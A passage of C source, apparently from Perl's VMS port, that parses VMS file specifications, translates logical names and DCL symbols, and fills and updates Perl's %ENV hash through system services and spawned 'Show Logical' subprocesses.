path_desc.dsc$a_pointer = (char *)path; /* cast ok */
path_desc.dsc$w_length = strlen(path);
path_desc.dsc$b_dtype = DSC$K_DTYPE_T;
path_desc.dsc$b_class = DSC$K_CLASS_S;
/* Get the total length, if it is shorter than the string passed
* then this was probably not a VMS formatted file specification
*/
item_list[filespec].itmcode = FSCN$_FILESPEC;
item_list[filespec].length = 0;
item_list[filespec].component = NULL;
/* If the node is present, then it gets considered as part of the
* volume name to hopefully make things simple.
*/
item_list[nodespec].itmcode = FSCN$_NODE;
item_list[nodespec].length = 0;
item_list[nodespec].component = NULL;
item_list[devspec].itmcode = FSCN$_DEVICE;
item_list[devspec].length = 0;
item_list[devspec].component = NULL;
/* root is a special case, adding it to either the directory or
* the device components will probably complicate things for the
* callers of this routine, so leave it separate.
*/
item_list[rootspec].itmcode = FSCN$_ROOT;
item_list[rootspec].length = 0;
item_list[rootspec].component = NULL;
item_list[dirspec].itmcode = FSCN$_DIRECTORY;
item_list[dirspec].length = 0;
item_list[dirspec].component = NULL;
item_list[namespec].itmcode = FSCN$_NAME;
item_list[namespec].length = 0;
item_list[namespec].component = NULL;
item_list[typespec].itmcode = FSCN$_TYPE;
item_list[typespec].length = 0;
item_list[typespec].component = NULL;
item_list[verspec].itmcode = FSCN$_VERSION;
item_list[verspec].length = 0;
item_list[verspec].component = NULL;
item_list[8].itmcode = 0;
item_list[8].length = 0;
item_list[8].component = NULL;
status = sys$filescan
((const struct dsc$descriptor_s *)&path_desc, item_list,
&flags, NULL, NULL);
_ckvmssts_noperl(status); /* All failure status values indicate a coding error */
/* If we parsed it successfully these two lengths should be the same */
if (path_desc.dsc$w_length != item_list[filespec].length)
return ret_stat;
/* If we got here, then it is a VMS file specification */
ret_stat = 0;
/* set the volume name */
if (item_list[nodespec].length > 0) {
*volume = item_list[nodespec].component;
*vol_len = item_list[nodespec].length + item_list[devspec].length;
}
else {
*volume = item_list[devspec].component;
*vol_len = item_list[devspec].length;
}
*root = item_list[rootspec].component;
*root_len = item_list[rootspec].length;
*dir = item_list[dirspec].component;
*dir_len = item_list[dirspec].length;
/* Now fun with versions and EFS file specifications
* The parser can not tell the difference when a "." is a version
* delimiter or a part of the file specification.
*/
if ((DECC_EFS_CHARSET) &&
(item_list[verspec].length > 0) &&
(item_list[verspec].component[0] == '.')) {
*name = item_list[namespec].component;
*name_len = item_list[namespec].length + item_list[typespec].length;
*ext = item_list[verspec].component;
*ext_len = item_list[verspec].length;
*version = NULL;
*ver_len = 0;
}
else {
*name = item_list[namespec].component;
*name_len = item_list[namespec].length;
*ext = item_list[typespec].component;
*ext_len = item_list[typespec].length;
*version = item_list[verspec].component;
*ver_len = item_list[verspec].length;
}
return ret_stat;
}
/* Routine to determine if the file specification ends with .dir */
static int
is_dir_ext(char * e_spec, int e_len, char * vs_spec, int vs_len)
{
/* e_len must be 4, and version must be <= 2 characters */
if (e_len != 4 || vs_len > 2)
return 0;
/* If a version number is present, it needs to be one */
if ((vs_len == 2) && (vs_spec[1] != '1'))
return 0;
/* Look for the DIR on the extension */
if (vms_process_case_tolerant) {
if ((toUPPER_A(e_spec[1]) == 'D') &&
(toUPPER_A(e_spec[2]) == 'I') &&
(toUPPER_A(e_spec[3]) == 'R')) {
return 1;
}
} else {
/* Directory extensions are supposed to be in upper case only */
/* I would not be surprised if this rule can not be enforced */
/* if and when someone fully debugs the case sensitive mode */
if ((e_spec[1] == 'D') &&
(e_spec[2] == 'I') &&
(e_spec[3] == 'R')) {
return 1;
}
}
return 0;
}
/* my_maxidx
* Routine to retrieve the maximum equivalence index for an input
* logical name. Some calls to this routine have no knowledge if
* the variable is a logical or not. So on error we return a max
* index of zero.
*/
/*{{{int my_maxidx(const char *lnm) */
static int
my_maxidx(const char *lnm)
{
int status;
int midx;
int attr = LNM$M_CASE_BLIND;
struct dsc$descriptor lnmdsc;
struct itmlst_3 itlst[2] = {{sizeof(midx), LNM$_MAX_INDEX, &midx, 0},
{0, 0, 0, 0}};
lnmdsc.dsc$w_length = strlen(lnm);
lnmdsc.dsc$b_dtype = DSC$K_DTYPE_T;
lnmdsc.dsc$b_class = DSC$K_CLASS_S;
lnmdsc.dsc$a_pointer = (char *) lnm; /* Cast ok for read only parameter */
status = sys$trnlnm(&attr, &fildevdsc, &lnmdsc, 0, itlst);
if ((status & 1) == 0)
midx = 0;
return (midx);
}
/*}}}*/
/* Routine to remove the 2-byte prefix from the translation of a
* process-permanent file (PPF).
*/
static inline unsigned short int
S_remove_ppf_prefix(const char *lnm, char *eqv, unsigned short int eqvlen)
{
if (*((int *)lnm) == *((int *)"SYS$") &&
eqvlen >= 4 && eqv[0] == 0x1b && eqv[1] == 0x00 &&
( (lnm[4] == 'O' && strEQ(lnm,"SYS$OUTPUT")) ||
(lnm[4] == 'I' && strEQ(lnm,"SYS$INPUT")) ||
(lnm[4] == 'E' && strEQ(lnm,"SYS$ERROR")) ||
(lnm[4] == 'C' && strEQ(lnm,"SYS$COMMAND")) ) ) {
memmove(eqv, eqv+4, eqvlen-4);
eqvlen -= 4;
}
return eqvlen;
}
/*{{{int vmstrnenv(const char *lnm, char *eqv, unsigned long int idx, struct dsc$descriptor_s **tabvec, unsigned long int flags) */
int
Perl_vmstrnenv(const char *lnm, char *eqv, unsigned long int idx,
struct dsc$descriptor_s **tabvec, unsigned long int flags)
{
const char *cp1;
char uplnm[LNM$C_NAMLENGTH+1], *cp2;
unsigned short int eqvlen, curtab, ivlnm = 0, ivsym = 0, ivenv = 0, secure;
bool found_in_crtlenv = 0, found_in_clisym = 0;
unsigned long int retsts, attr = LNM$M_CASE_BLIND;
int midx;
unsigned char acmode;
struct dsc$descriptor_s lnmdsc = {0,DSC$K_DTYPE_T,DSC$K_CLASS_S,0},
tmpdsc = {6,DSC$K_DTYPE_T,DSC$K_CLASS_S,0};
struct itmlst_3 lnmlst[3] = {{sizeof idx, LNM$_INDEX, &idx, 0},
{LNM$C_NAMLENGTH, LNM$_STRING, eqv, &eqvlen},
{0, 0, 0, 0}};
$DESCRIPTOR(crtlenv,"CRTL_ENV"); $DESCRIPTOR(clisym,"CLISYM");
#if defined(PERL_IMPLICIT_CONTEXT)
pTHX = NULL;
if (PL_curinterp) {
aTHX = PERL_GET_INTERP;
} else {
aTHX = NULL;
}
#endif
if (!lnm || !eqv || ((idx != 0) && ((idx-1) > PERL_LNM_MAX_ALLOWED_INDEX))) {
set_errno(EINVAL); set_vaxc_errno(SS$_BADPARAM); return 0;
}
for (cp1 = lnm, cp2 = uplnm; *cp1; cp1++, cp2++) {
*cp2 = toUPPER_A(*cp1);
if (cp1 - lnm > LNM$C_NAMLENGTH) {
set_errno(EINVAL); set_vaxc_errno(SS$_IVLOGNAM);
return 0;
}
}
lnmdsc.dsc$w_length = cp1 - lnm;
lnmdsc.dsc$a_pointer = uplnm;
uplnm[lnmdsc.dsc$w_length] = '\0';
secure = flags & PERL__TRNENV_SECURE;
acmode = secure ? PSL$C_EXEC : PSL$C_USER;
if (!tabvec || !*tabvec) tabvec = env_tables;
for (curtab = 0; tabvec[curtab]; curtab++) {
if (!str$case_blind_compare(tabvec[curtab],&crtlenv)) {
if (!ivenv && !secure) {
char *eq;
int i;
if (!environ) {
ivenv = 1;
#if defined(PERL_IMPLICIT_CONTEXT)
if (aTHX == NULL) {
fprintf(stderr,
"Can't read CRTL environ\n");
} else
#endif
Perl_warn(aTHX_ "Can't read CRTL environ\n");
continue;
}
retsts = SS$_NOLOGNAM;
for (i = 0; environ[i]; i++) {
if ((eq = strchr(environ[i],'=')) &&
lnmdsc.dsc$w_length == (eq - environ[i]) &&
strnEQ(environ[i],lnm,eq - environ[i])) {
eq++;
for (eqvlen = 0; eq[eqvlen]; eqvlen++) eqv[eqvlen] = eq[eqvlen];
if (!eqvlen) continue;
retsts = SS$_NORMAL;
break;
}
}
if (retsts != SS$_NOLOGNAM) {
found_in_crtlenv = 1;
break;
}
}
}
else if ((tmpdsc.dsc$a_pointer = tabvec[curtab]->dsc$a_pointer) &&
!str$case_blind_compare(&tmpdsc,&clisym)) {
if (!ivsym && !secure) {
unsigned short int deflen = LNM$C_NAMLENGTH;
struct dsc$descriptor_d eqvdsc = {0,DSC$K_DTYPE_T,DSC$K_CLASS_D,0};
/* dynamic dsc to accommodate possible long value */
_ckvmssts_noperl(lib$sget1_dd(&deflen,&eqvdsc));
retsts = lib$get_symbol(&lnmdsc,&eqvdsc,&eqvlen,0);
if (retsts & 1) {
if (eqvlen > MAX_DCL_SYMBOL) {
set_errno(EVMSERR); set_vaxc_errno(LIB$_STRTRU);
eqvlen = MAX_DCL_SYMBOL;
/* Special hack--we might be called before the interpreter's */
/* fully initialized, in which case either thr or PL_curcop */
/* might be bogus. We have to check, since ckWARN needs them */
/* both to be valid if running threaded */
#if defined(PERL_IMPLICIT_CONTEXT)
if (aTHX == NULL) {
fprintf(stderr,
"Value of CLI symbol \"%s\" too long",lnm);
} else
#endif
if (ckWARN(WARN_MISC)) {
Perl_warner(aTHX_ packWARN(WARN_MISC),"Value of CLI symbol \"%s\" too long",lnm);
}
}
strncpy(eqv,eqvdsc.dsc$a_pointer,eqvlen);
}
_ckvmssts_noperl(lib$sfree1_dd(&eqvdsc));
if (retsts == LIB$_INVSYMNAM) { ivsym = 1; continue; }
if (retsts == LIB$_NOSUCHSYM) continue;
found_in_clisym = 1;
break;
}
}
else if (!ivlnm) {
if ( (idx == 0) && (flags & PERL__TRNENV_JOIN_SEARCHLIST) ) {
midx = my_maxidx(lnm);
for (idx = 0, cp2 = eqv; idx <= midx; idx++) {
lnmlst[1].bufadr = cp2;
eqvlen = 0;
retsts = sys$trnlnm(&attr,tabvec[curtab],&lnmdsc,&acmode,lnmlst);
if (retsts == SS$_IVLOGNAM) { ivlnm = 1; break; }
if (retsts == SS$_NOLOGNAM) break;
eqvlen = S_remove_ppf_prefix(uplnm, eqv, eqvlen);
cp2 += eqvlen;
*cp2 = '\0';
}
if ((retsts == SS$_IVLOGNAM) ||
(retsts == SS$_NOLOGNAM)) { continue; }
eqvlen = strlen(eqv);
}
else {
retsts = sys$trnlnm(&attr,tabvec[curtab],&lnmdsc,&acmode,lnmlst);
if (retsts == SS$_IVLOGNAM) { ivlnm = 1; continue; }
if (retsts == SS$_NOLOGNAM) continue;
eqvlen = S_remove_ppf_prefix(uplnm, eqv, eqvlen);
eqv[eqvlen] = '\0';
}
break;
}
}
/* An index only makes sense for logical names, so make sure we aren't
* iterating over an index for an environ var or DCL symbol and getting
* the same answer ad infinitum.
*/
if (idx > 0 && (found_in_crtlenv || found_in_clisym)) {
return 0;
}
else if (retsts & 1) { eqv[eqvlen] = '\0'; return eqvlen; }
else if (retsts == LIB$_NOSUCHSYM ||
retsts == SS$_NOLOGNAM) {
/* Unsuccessful lookup is normal -- no need to set errno */
return 0;
}
else if (retsts == LIB$_INVSYMNAM ||
retsts == SS$_IVLOGNAM ||
retsts == SS$_IVLOGTAB) {
set_errno(EINVAL); set_vaxc_errno(retsts);
}
else _ckvmssts_noperl(retsts);
return 0;
} /* end of vmstrnenv */
/*}}}*/
/*{{{ int my_trnlnm(const char *lnm, char *eqv, unsigned long int idx)*/
/* Define as a function so we can access statics. */
int
Perl_my_trnlnm(pTHX_ const char *lnm, char *eqv, unsigned long int idx)
{
int flags = 0;
#if defined(PERL_IMPLICIT_CONTEXT)
if (aTHX != NULL)
#endif
#ifdef SECURE_INTERNAL_GETENV
flags = (PL_curinterp ? TAINTING_get : will_taint) ?
PERL__TRNENV_SECURE : 0;
#endif
return vmstrnenv(lnm, eqv, idx, fildev, flags);
}
/*}}}*/
/* my_getenv
* Note: Uses Perl temp to store result so char * can be returned to
* caller; this pointer will be invalidated at next Perl statement
* transition.
* We define this as a function rather than a macro in terms of my_getenv_len()
* so that it'll work when PL_curinterp is undefined (and we therefore can't
* allocate SVs).
*/
/*{{{ char *my_getenv(const char *lnm, bool sys)*/
char *
Perl_my_getenv(pTHX_ const char *lnm, bool sys)
{
const char *cp1;
static char *__my_getenv_eqv = NULL;
char uplnm[LNM$C_NAMLENGTH+1], *cp2, *eqv;
unsigned long int idx = 0;
int success, secure;
int midx, flags;
SV *tmpsv;
midx = my_maxidx(lnm) + 1;
if (PL_curinterp) { /* Perl interpreter running -- may be threaded */
/* Set up a temporary buffer for the return value; Perl will
* clean it up at the next statement transition */
tmpsv = sv_2mortal(newSVpv("",(LNM$C_NAMLENGTH*midx)+1));
if (!tmpsv) return NULL;
eqv = SvPVX(tmpsv);
}
else {
/* Assume no interpreter ==> single thread */
if (__my_getenv_eqv != NULL) {
Renew(__my_getenv_eqv,LNM$C_NAMLENGTH*midx+1,char);
}
else {
Newx(__my_getenv_eqv,LNM$C_NAMLENGTH*midx+1,char);
}
eqv = __my_getenv_eqv;
}
for (cp1 = lnm, cp2 = eqv; *cp1; cp1++,cp2++) *cp2 = toUPPER_A(*cp1);
if (memEQs(eqv, cp1 - lnm, "DEFAULT")) {
int len;
getcwd(eqv,LNM$C_NAMLENGTH);
len = strlen(eqv);
/* Get rid of "000000/ in rooted filespecs */
if (len > 7) {
char * zeros;
zeros = strstr(eqv, "/000000/");
if (zeros != NULL) {
int mlen;
mlen = len - (zeros - eqv) - 7;
memmove(zeros, &zeros[7], mlen);
len = len - 7;
eqv[len] = '\0';
}
}
return eqv;
}
else {
/* Impose security constraints only if tainting */
if (sys) {
/* Impose security constraints only if tainting */
secure = PL_curinterp ? TAINTING_get : will_taint;
}
else {
secure = 0;
}
flags =
#ifdef SECURE_INTERNAL_GETENV
secure ? PERL__TRNENV_SECURE : 0
#else
0
#endif
;
/* For the getenv interface we combine all the equivalence names
* of a search list logical into one value to acquire a maximum
* value length of 255*128 (assuming %ENV is using logicals).
*/
flags |= PERL__TRNENV_JOIN_SEARCHLIST;
/* If the name contains a semicolon-delimited index, parse it
* off and make sure we only retrieve the equivalence name for
* that index. */
if ((cp2 = strchr(lnm,';')) != NULL) {
my_strlcpy(uplnm, lnm, cp2 - lnm + 1);
idx = strtoul(cp2+1,NULL,0);
lnm = uplnm;
flags &= ~PERL__TRNENV_JOIN_SEARCHLIST;
}
success = vmstrnenv(lnm,eqv,idx,secure ? fildev : NULL,flags);
return success ? eqv : NULL;
}
} /* end of my_getenv() */
/*}}}*/
/*{{{ SV *my_getenv_len(const char *lnm, bool sys)*/
char *
Perl_my_getenv_len(pTHX_ const char *lnm, unsigned long *len, bool sys)
{
const char *cp1;
char *buf, *cp2;
unsigned long idx = 0;
int midx, flags;
static char *__my_getenv_len_eqv = NULL;
int secure;
SV *tmpsv;
midx = my_maxidx(lnm) + 1;
if (PL_curinterp) { /* Perl interpreter running -- may be threaded */
/* Set up a temporary buffer for the return value; Perl will
* clean it up at the next statement transition */
tmpsv = sv_2mortal(newSVpv("",(LNM$C_NAMLENGTH*midx)+1));
if (!tmpsv) return NULL;
buf = SvPVX(tmpsv);
}
else {
/* Assume no interpreter ==> single thread */
if (__my_getenv_len_eqv != NULL) {
Renew(__my_getenv_len_eqv,LNM$C_NAMLENGTH*midx+1,char);
}
else {
Newx(__my_getenv_len_eqv,LNM$C_NAMLENGTH*midx+1,char);
}
buf = __my_getenv_len_eqv;
}
for (cp1 = lnm, cp2 = buf; *cp1; cp1++,cp2++) *cp2 = toUPPER_A(*cp1);
if (memEQs(buf, cp1 - lnm, "DEFAULT")) {
char * zeros;
getcwd(buf,LNM$C_NAMLENGTH);
*len = strlen(buf);
/* Get rid of "000000/ in rooted filespecs */
if (*len > 7) {
zeros = strstr(buf, "/000000/");
if (zeros != NULL) {
int mlen;
mlen = *len - (zeros - buf) - 7;
memmove(zeros, &zeros[7], mlen);
*len = *len - 7;
buf[*len] = '\0';
}
}
return buf;
}
else {
if (sys) {
/* Impose security constraints only if tainting */
secure = PL_curinterp ? TAINTING_get : will_taint;
}
else {
secure = 0;
}
flags =
#ifdef SECURE_INTERNAL_GETENV
secure ? PERL__TRNENV_SECURE : 0
#else
0
#endif
;
flags |= PERL__TRNENV_JOIN_SEARCHLIST;
if ((cp2 = strchr(lnm,';')) != NULL) {
my_strlcpy(buf, lnm, cp2 - lnm + 1);
idx = strtoul(cp2+1,NULL,0);
lnm = buf;
flags &= ~PERL__TRNENV_JOIN_SEARCHLIST;
}
*len = vmstrnenv(lnm,buf,idx,secure ? fildev : NULL,flags);
/* Get rid of "000000/ in rooted filespecs */
if (*len > 7) {
char * zeros;
zeros = strstr(buf, "/000000/");
if (zeros != NULL) {
int mlen;
mlen = *len - (zeros - buf) - 7;
memmove(zeros, &zeros[7], mlen);
*len = *len - 7;
buf[*len] = '\0';
}
}
return *len ? buf : NULL;
}
} /* end of my_getenv_len() */
/*}}}*/
static void create_mbx(unsigned short int *, struct dsc$descriptor_s *);
static void riseandshine(unsigned long int dummy) { sys$wake(0,0); }
/*{{{ void prime_env_iter() */
void
prime_env_iter(void)
/* Fill the %ENV associative array with all logical names we can
* find, in preparation for iterating over it.
*/
{
static int primed = 0;
HV *seenhv = NULL, *envhv;
SV *sv = NULL;
char cmd[LNM$C_NAMLENGTH+24], mbxnam[LNM$C_NAMLENGTH], *buf = NULL;
unsigned short int chan;
#ifndef CLI$M_TRUSTED
# define CLI$M_TRUSTED 0x40 /* Missing from VAXC headers */
#endif
unsigned long int defflags = CLI$M_NOWAIT | CLI$M_NOKEYPAD | CLI$M_TRUSTED;
unsigned long int mbxbufsiz, flags, retsts, subpid = 0, substs = 0;
long int i;
bool have_sym = FALSE, have_lnm = FALSE;
struct dsc$descriptor_s tmpdsc = {6,DSC$K_DTYPE_T,DSC$K_CLASS_S,0};
$DESCRIPTOR(cmddsc,cmd); $DESCRIPTOR(nldsc,"_NLA0:");
$DESCRIPTOR(clidsc,"DCL"); $DESCRIPTOR(clitabdsc,"DCLTABLES");
$DESCRIPTOR(crtlenv,"CRTL_ENV"); $DESCRIPTOR(clisym,"CLISYM");
$DESCRIPTOR(local,"_LOCAL"); $DESCRIPTOR(mbxdsc,mbxnam);
#if defined(PERL_IMPLICIT_CONTEXT)
pTHX;
#endif
#if defined(USE_ITHREADS)
static perl_mutex primenv_mutex;
MUTEX_INIT(&primenv_mutex);
#endif
#if defined(PERL_IMPLICIT_CONTEXT)
/* We jump through these hoops because we can be called at */
/* platform-specific initialization time, which is before anything is */
/* set up--we can't even do a plain dTHX since that relies on the */
/* interpreter structure to be initialized */
if (PL_curinterp) {
aTHX = PERL_GET_INTERP;
} else {
/* we never get here because the NULL pointer will cause the */
/* several of the routines called by this routine to access violate */
/* This routine is only called by hv.c/hv_iterinit which has a */
/* context, so the real fix may be to pass it through instead of */
/* the hoops above */
aTHX = NULL;
}
#endif
if (primed || !PL_envgv) return;
MUTEX_LOCK(&primenv_mutex);
if (primed) { MUTEX_UNLOCK(&primenv_mutex); return; }
envhv = GvHVn(PL_envgv);
/* Perform a dummy fetch as an lval to insure that the hash table is
* set up. Otherwise, the hv_store() will turn into a nullop. */
(void) hv_fetchs(envhv,"DEFAULT",TRUE);
for (i = 0; env_tables[i]; i++) {
if (!have_sym && (tmpdsc.dsc$a_pointer = env_tables[i]->dsc$a_pointer) &&
!str$case_blind_compare(&tmpdsc,&clisym)) have_sym = 1;
if (!have_lnm && str$case_blind_compare(env_tables[i],&crtlenv)) have_lnm = 1;
}
if (have_sym || have_lnm) {
long int syiitm = SYI$_MAXBUF, dviitm = DVI$_DEVNAM;
_ckvmssts(lib$getsyi(&syiitm, &mbxbufsiz, 0, 0, 0, 0));
_ckvmssts(sys$crembx(0,&chan,mbxbufsiz,mbxbufsiz,0xff0f,0,0));
_ckvmssts(lib$getdvi(&dviitm, &chan, NULL, NULL, &mbxdsc, &mbxdsc.dsc$w_length));
}
for (i--; i >= 0; i--) {
if (!str$case_blind_compare(env_tables[i],&crtlenv)) {
char *start;
int j;
/* Start at the end, so if there is a duplicate we keep the first one. */
for (j = 0; environ[j]; j++);
for (j--; j >= 0; j--) {
if (!(start = strchr(environ[j],'='))) {
if (ckWARN(WARN_INTERNAL))
Perl_warner(aTHX_ packWARN(WARN_INTERNAL),"Ill-formed CRTL environ value \"%s\"\n",environ[j]);
}
else {
start++;
sv = newSVpv(start,0);
SvTAINTED_on(sv);
(void) hv_store(envhv,environ[j],start - environ[j] - 1,sv,0);
}
}
continue;
}
else if ((tmpdsc.dsc$a_pointer = env_tables[i]->dsc$a_pointer) &&
!str$case_blind_compare(&tmpdsc,&clisym)) {
my_strlcpy(cmd, "Show Symbol/Global *", sizeof(cmd));
cmddsc.dsc$w_length = 20;
if (env_tables[i]->dsc$w_length == 12 &&
(tmpdsc.dsc$a_pointer = env_tables[i]->dsc$a_pointer + 6) &&
!str$case_blind_compare(&tmpdsc,&local)) my_strlcpy(cmd+12, "Local *", sizeof(cmd)-12);
flags = defflags | CLI$M_NOLOGNAM;
}
else {
my_strlcpy(cmd, "Show Logical *", sizeof(cmd));
if (str$case_blind_compare(env_tables[i],&fildevdsc)) {
my_strlcat(cmd," /Table=", sizeof(cmd));
cmddsc.dsc$w_length = my_strlcat(cmd, env_tables[i]->dsc$a_pointer, sizeof(cmd));
}
else cmddsc.dsc$w_length = 14; /* N.B. We test this below */
flags = defflags | CLI$M_NOCLISYM;
}
/* Create a new subprocess to execute each command, to exclude the
* remote possibility that someone could subvert a mbx or file used
* to write multiple commands to a single subprocess.
*/
do {
retsts = lib$spawn(&cmddsc,&nldsc,&mbxdsc,&flags,0,&subpid,&substs,
0,&riseandshine,0,0,&clidsc,&clitabdsc);
flags &= ~CLI$M_TRUSTED; /* Just in case we hit a really old version */
defflags &= ~CLI$M_TRUSTED;
} while (retsts == LIB$_INVARG && (flags | CLI$M_TRUSTED));
_ckvmssts(retsts);
if (!buf) Newx(buf,mbxbufsiz + 1,char);
if (seenhv) SvREFCNT_dec(seenhv);
seenhv = newHV();
while (1) {
char *cp1, *cp2, *key;
unsigned long int sts, iosb[2], retlen, keylen;
U32 hash;
sts = sys$qiow(0,chan,IO$_READVBLK,iosb,0,0,buf,mbxbufsiz,0,0,0,0);
if (sts & 1) sts = iosb[0] & 0xffff;
if (sts == SS$_ENDOFFILE) {
int wakect = 0;
while (substs == 0) { sys$hiber(); wakect++;}
if (wakect > 1) sys$wake(0,0); /* Stole someone else's wake */
_ckvmssts(substs);
break;
}
_ckvmssts(sts);
retlen = iosb[0] >> 16;
if (!retlen) continue; /* blank line */
buf[retlen] = '\0';
if (iosb[1] != subpid) {
if (iosb[1]) {
Perl_croak(aTHX_ "Unknown process %x sent message to prime_env_iter: %s",buf);
}
continue;
}
if (sts == SS$_BUFFEROVF && ckWARN(WARN_INTERNAL))
Perl_warner(aTHX_ packWARN(WARN_INTERNAL),"Buffer overflow in prime_env_iter: %s",buf);
for (cp1 = buf; *cp1 && isSPACE_L1(*cp1); cp1++) ;
if (*cp1 == '(' || /* Logical name table name */
*cp1 == '=' /* Next eqv of searchlist */) continue;
if (*cp1 == '"') cp1++;
for (cp2 = cp1; *cp2 && *cp2 != '"' && *cp2 != ' '; cp2++) ;
key = cp1; keylen = cp2 - cp1;
if (keylen && hv_exists(seenhv,key,keylen)) continue;
while (*cp2 && *cp2 != '=') cp2++;
while (*cp2 && *cp2 == '=') cp2++;
while (*cp2 && *cp2 == ' ') cp2++;
if (*cp2 == '"') { /* String translation; may embed "" */
for (cp1 = buf + retlen; *cp1 != '"'; cp1--) ;
cp2++; cp1--; /* Skip "" surrounding translation */
}
else { /* Numeric translation */
for (cp1 = cp2; *cp1 && *cp1 != ' '; cp1++) ;
cp1--; /* stop on last non-space char */
}
if ((!keylen || (cp1 - cp2 < -1)) && ckWARN(WARN_INTERNAL)) {
Perl_warner(aTHX_ packWARN(WARN_INTERNAL),"Ill-formed message in prime_env_iter: |%s|",buf);
continue;
}
PERL_HASH(hash,key,keylen);
if (cp1 == cp2 && *cp2 == '.') {
/* A single dot usually means an unprintable character, such as a null
* to indicate a zero-length value. Get the actual value to make sure.
*/
char lnm[LNM$C_NAMLENGTH+1];
char eqv[MAX_DCL_SYMBOL+1];
int trnlen;
strncpy(lnm, key, keylen);
trnlen = vmstrnenv(lnm, eqv, 0, fildev, 0);
sv = newSVpvn(eqv, strlen(eqv));
}
else {
sv = newSVpvn(cp2,cp1 - cp2 + 1);
}
SvTAINTED_on(sv);
hv_store(envhv,key,keylen,sv,hash);
hv_store(seenhv,key,keylen,&PL_sv_yes,hash);
}
if (cmddsc.dsc$w_length == 14) { /* We just read LNM$FILE_DEV */
/* get the PPFs for this process, not the subprocess */
const char *ppfs[] = {"SYS$COMMAND", "SYS$INPUT", "SYS$OUTPUT", "SYS$ERROR", NULL};
char eqv[LNM$C_NAMLENGTH+1];
int trnlen, i;
for (i = 0; ppfs[i]; i++) {
trnlen = vmstrnenv(ppfs[i],eqv,0,fildev,0);
sv = newSVpv(eqv,trnlen);
SvTAINTED_on(sv);
hv_store(envhv,ppfs[i],strlen(ppfs[i]),sv,0);
}
}
}
primed = 1;
if (have_sym || have_lnm) _ckvmssts(sys$dassgn(chan));
if (buf) Safefree(buf);
if (seenhv) SvREFCNT_dec(seenhv);
MUTEX_UNLOCK(&primenv_mutex);
return;
} /* end of prime_env_iter */
/*}}}*/
/*{{{ int vmssetenv(const char *lnm, const char *eqv)*/
/* Define or delete an element in the same "environment" as
* vmstrnenv(). If an element is to be deleted, it's removed from
* the first place it's found. If it's to be set, it's set in the
* place designated by the first element of the table vector.
* Like setenv() returns 0 for success, non-zero on error.
*/
int
Perl_vmssetenv(pTHX_ const char *lnm, const char *eqv, struct dsc$descriptor_s **tabvec)
{
const char *cp1;
char uplnm[LNM$C_NAMLENGTH], *cp2, *c;
unsigned short int curtab, ivlnm = 0, ivsym = 0, ivenv = 0;
int nseg = 0, j;
unsigned long int retsts, usermode = PSL$C_USER;
struct itmlst_3 *ile, *ilist;
struct dsc$descriptor_s lnmdsc = {0,DSC$K_DTYPE_T,DSC$K_CLASS_S,uplnm},
eqvdsc = {0,DSC$K_DTYPE_T,DSC$K_CLASS_S,0},
tmpdsc = {6,DSC$K_DTYPE_T,DSC$K_CLASS_S,0};
$DESCRIPTOR(crtlenv,"CRTL_ENV"); $DESCRIPTOR(clisym,"CLISYM");
$DESCRIPTOR(local,"_LOCAL");
if (!lnm) {
set_errno(EINVAL); set_vaxc_errno(SS$_IVLOGNAM);
return SS$_IVLOGNAM;
}
for (cp1 = lnm, cp2 = uplnm; *cp1; cp1++, cp2++) {
*cp2 = toUPPER_A(*cp1);
if (cp1 - lnm > LNM$C_NAMLENGTH) {
set_errno(EINVAL); set_vaxc_errno(SS$_IVLOGNAM);
return SS$_IVLOGNAM;
}
}
lnmdsc.dsc$w_length = cp1 - lnm;
if (!tabvec || !*tabvec) tabvec = env_tables;
if (!eqv) { /* we're deleting n element */
for (curtab = 0; tabvec[curtab]; curtab++) {
if (!ivenv && !str$case_blind_compare(tabvec[curtab],&crtlenv)) {
int i;
for (i = 0; environ[i]; i++) { /* If it's an environ elt, reset */
if ((cp1 = strchr(environ[i],'=')) &&
lnmdsc.dsc$w_length == (cp1 - environ[i]) &&
strnEQ(environ[i],lnm,cp1 - environ[i])) {
unsetenv(lnm);
return 0;
}
}
ivenv = 1; retsts = SS$_NOLOGNAM;
}
else if ((tmpdsc.dsc$a_pointer = tabvec[curtab]->dsc$a_pointer) &&
!str$case_blind_compare(&tmpdsc,&clisym)) {
unsigned int symtype;
if (tabvec[curtab]->dsc$w_length == 12 &&
(tmpdsc.dsc$a_pointer = tabvec[curtab]->dsc$a_pointer + 6) &&
!str$case_blind_compare(&tmpdsc,&local))
symtype = LIB$K_CLI_LOCAL_SYM;
else symtype = LIB$K_CLI_GLOBAL_SYM;
retsts = lib$delete_symbol(&lnmdsc,&symtype);
if (retsts == LIB$_INVSYMNAM) { ivsym = 1; continue; }
if (retsts == LIB$_NOSUCHSYM) continue;
break;
}
else if (!ivlnm) {
retsts = sys$dellnm(tabvec[curtab],&lnmdsc,&usermode); /* try user mode first */
if (retsts == SS$_IVLOGNAM) { ivlnm = 1; continue; }
if (retsts != SS$_NOLOGNAM && retsts != SS$_NOLOGTAB) break;
retsts = lib$delete_logical(&lnmdsc,tabvec[curtab]); /* then supervisor mode */
if (retsts != SS$_NOLOGNAM && retsts != SS$_NOLOGTAB) break;
}
}
}
else { /* we're defining a value */
if (!ivenv && !str$case_blind_compare(tabvec[0],&crtlenv)) {
return setenv(lnm,eqv,1) ? vaxc$errno : 0;
}
else {
eqvdsc.dsc$a_pointer = (char *) eqv; /* cast ok to readonly parameter */
eqvdsc.dsc$w_length = strlen(eqv);
if ((tmpdsc.dsc$a_pointer = tabvec[0]->dsc$a_pointer) &&
!str$case_blind_compare(&tmpdsc,&clisym)) {
unsigned int symtype;
if (tabvec[0]->dsc$w_length == 12 &&
(tmpdsc.dsc$a_pointer = tabvec[0]->dsc$a_pointer + 6) &&
!str$case_blind_compare(&tmpdsc,&local))
symtype = LIB$K_CLI_LOCAL_SYM;
else symtype = LIB$K_CLI_GLOBAL_SYM;
retsts = lib$set_symbol(&lnmdsc,&eqvdsc,&symtype);
}
else {
if (!*eqv) eqvdsc.dsc$w_length = 1;
if (eqvdsc.dsc$w_length > LNM$C_NAMLENGTH) {
nseg = (eqvdsc.dsc$w_length + LNM$C_NAMLENGTH - 1) / LNM$C_NAMLENGTH;
if (nseg > PERL_LNM_MAX_ALLOWED_INDEX + 1) {
Perl_warner(aTHX_ packWARN(WARN_MISC),"Value of logical \"%s\" too long. Truncating to %i bytes",
lnm, LNM$C_NAMLENGTH * (PERL_LNM_MAX_ALLOWED_INDEX+1));
eqvdsc.dsc$w_length = LNM$C_NAMLENGTH * (PERL_LNM_MAX_ALLOWED_INDEX+1);
nseg = PERL_LNM_MAX_ALLOWED_INDEX + 1;
}
